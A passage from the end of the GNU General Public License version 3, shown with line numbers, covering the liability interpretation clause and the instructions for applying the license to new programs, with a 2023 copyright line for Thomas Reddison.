THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 2023 Thomas Reddison 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | 676 | --------------------------------------------------------------------------------